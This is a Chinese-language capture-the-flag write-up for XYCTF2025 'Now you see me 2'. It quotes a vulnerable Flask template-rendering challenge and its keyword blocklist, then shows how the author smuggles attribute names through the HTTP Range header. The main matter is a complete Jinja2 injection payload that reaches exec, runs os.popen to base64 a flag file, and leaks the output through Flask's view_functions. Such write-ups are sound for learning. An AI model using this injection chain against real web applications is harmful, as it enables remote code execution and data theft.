XYCTF2025 Now you see me 2 题解

124次阅读
没有评论

共计8211个字符,预计需要花费21分钟才能阅读完成。

题目

这题是上一题的复现,上一题在这里看: https://www.mcso.top/computer/ctf/xyctf2025-now-you-see-me-1/

源代码:

# -*- encoding: utf-8 -*-
'''
@File    :   src.py
@Time    :   2025/03/29 01:20:49
@Author  :   LamentXU 
'''
# DNS config: No reversing shells for you.
import flask
import time, random
import flask
import sys
enable_hook =  False
counter = 0
def audit_checker(event,args):
    global counter
    if enable_hook:
        if event in ["exec", "compile"]:
            counter += 1
            if counter > 4:
                raise RuntimeError(event)
# 多限制了 referrer authorization user pragma mimetype
# 允许了 g|a referer
lock_within = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referrer",
    "authorization","user", "pragma", "mimetype", "origin"
    "Isn't that enough? Isn't that enough."] 
# lock_within = []
allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
app = flask.Flask(__name__)
@app.route('/')
def index():
    return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
    quote = flask.request.args.get('spell')
    if quote:
        try:
            if quote.startswith("fly-"):
                for i in lock_within:
                    if i in quote:
                        print(i)
                        return "wouldn't it be easier to give in?"
                time.sleep(random.randint(10, 30)/10) # No time based injections.
                flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}')
                print("Registered endpoints and functions:")
                for endpoint, func in app.view_functions.items():
                    if endpoint not in allowed_endpoint:
                        del func # No creating backdoor functions & endpoints.
                        return f'What are you doing with {endpoint} hacker?'

                return 'Let the true magic begin!'
            else:
                return 'My inside world is always hidden.'
        except Exception as e:
            print(e)
            return 'Error'
    else:
        return 'Welcome to Hidden_route!'

if __name__ == '__main__':
    import os
    try:
        import _posixsubprocess
        del _posixsubprocess.fork_exec
    except:
        pass
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError
    sys.addaudithook(audit_checker)
    app.run(debug=False, host='0.0.0.0', port=80)

思路

先看看源码,发现禁用词根上一题不同,我们通过以下代码查找改了哪些禁用词:

lock_within1 = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "g|a", "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referer",
    "The closer you see, the lesser you find."] 

lock_within2 = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referrer",
    "authorization","user", "pragma", "mimetype", "origin"
    "Isn't that enough? Isn't that enough."] 

for i in lock_within2:
  if i not in lock_within1:
    print(i)

发现上一题的绕过手法不能使用了,多禁用了以下词:

referrer
authorization
user
pragma
mimetype

那再来看看 request 库里的哪些东西还能用呢?用以下代码检索:

lock_within2 = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referrer",
    "authorization","user", "pragma", "mimetype", "origin"
    "Isn't that enough? Isn't that enough."] 

request =['__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_cached_json', '_get_file_stream', '_get_stream_for_parsing', '_load_form_data', '_parse_content_type', 'accept_charsets', 'accept_encodings', 'accept_languages', 'accept_mimetypes', 'access_control_request_headers', 'access_control_request_method', 'access_route', 'application', 'args', 'authorization', 'base_url', 'blueprint', 'blueprints', 'cache_control', 'close', 'content_encoding', 'content_length', 'content_md5', 'content_type', 'cookies', 'data', 'date', 'dict_storage_class', 'endpoint', 'environ', 'files', 'form', 'form_data_parser_class', 'from_values', 'full_path', 'get_data', 'get_json', 'headers', 'host', 'host_url', 'if_match', 'if_modified_since', 'if_none_match', 'if_range', 'if_unmodified_since', 'input_stream', 'is_json', 'is_multiprocess', 'is_multithread', 'is_run_once', 'is_secure', 'json', 'json_module', 'list_storage_class', 'make_form_data_parser', 'max_content_length', 'max_form_memory_size', 'max_form_parts', 'max_forwards', 'method', 'mimetype', 'mimetype_params', 'on_json_loading_failed', 'origin', 'parameter_storage_class', 'path', 'pragma', 'query_string', 'range', 'referrer', 'remote_addr', 'remote_user', 'root_path', 'root_url', 'routing_exception', 'scheme', 'script_root', 'server', 'shallow', 'stream', 'trusted_hosts', 'url', 'url_root', 'url_rule', 'user_agent', 'user_agent_class', 'values', 'view_args', 'want_form_data_parsed']

for i in request:
    flag = True
    for j in lock_within2:
        if j in i:
            flag = False
            break
    if flag:
        print(i)
blueprint
blueprints
date
endpoint
origin
range
scheme
server
shallow

以上几个还是能用,有个 request.range 属性。

request 源码里找到 range 属性,又是 HTTP Header,可以尝试注入:

XYCTF2025 Now you see me 2 题解

XYCTF2025 Now you see me 2 题解

保存在 units 里面,因此 request.range.units 可以利用。

XYCTF2025 Now you see me 2 题解

我们在 Header 里加上这个属性,然后 request.range.units 就能获得我们传入的 args,即可以构造 request.args,就能输入任意字符了!

根据上一题同理的构造方法:

spell:fly-%23}{%print((((((((((()|attr((request|attr(request.range.units)).get(0|string))|attr((request|attr(request.range.units)).get(1|string))|attr((request|attr(request.range.units)).get(2|string)))(0)|attr((request|attr(request.range.units)).get(3|string)))())|attr((request|attr(request.range.units)).get(2|string)))(137))|attr((request|attr(request.range.units)).get(4|string))|attr((request|attr(request.range.units)).get(5|string))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(6|string)))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(7|string)))((request|attr(request.range.units)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:exec
8:a=__import__('os').popen('xxx').read()

根据睡眠时间,判断文件在 1M 大小左右,肯定是不能通过延时盲注将这个文件读出来的(这得猴年马月啊!):

XYCTF2025 Now you see me 2 题解

只能找回显了,我们注意到:

XYCTF2025 Now you see me 2 题解

我们可以将要返回的值注入到 endpoint 这个变量上。

spell:fly-%23}{%print((((((((((()|attr((request|attr(request.range.units)).get(0|string))|attr((request|attr(request.range.units)).get(1|string))|attr((request|attr(request.range.units)).get(2|string)))(0)|attr((request|attr(request.range.units)).get(3|string)))())|attr((request|attr(request.range.units)).get(2|string)))(137))|attr((request|attr(request.range.units)).get(4|string))|attr((request|attr(request.range.units)).get(5|string))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(6|string)))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(7|string)))((request|attr(request.range.units)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:exec
8:a=__import__('os').popen('base64 /flag*').read();__import__('flask').current_app.view_functions[a]=lambda:""

这样像一样得到 base64 编码的文件,并进行解码:

XYCTF2025 Now you see me 2 题解

XYCTF2025 Now you see me 2 题解

XYCTF2025 Now you see me 2 题解

一个 PNG 图片?看来又是一道隐写题目。这道隐写没做出来。。。好像只能用网站来解。

根据 出题人的题解,用这个网址可以解开:https://toolgg.com/image-decoder.html

将图片拖进去,得到 flag

XYCTF2025 Now you see me 2 题解

正文完
 0
评论(没有评论)
验证码
zh_CN简体中文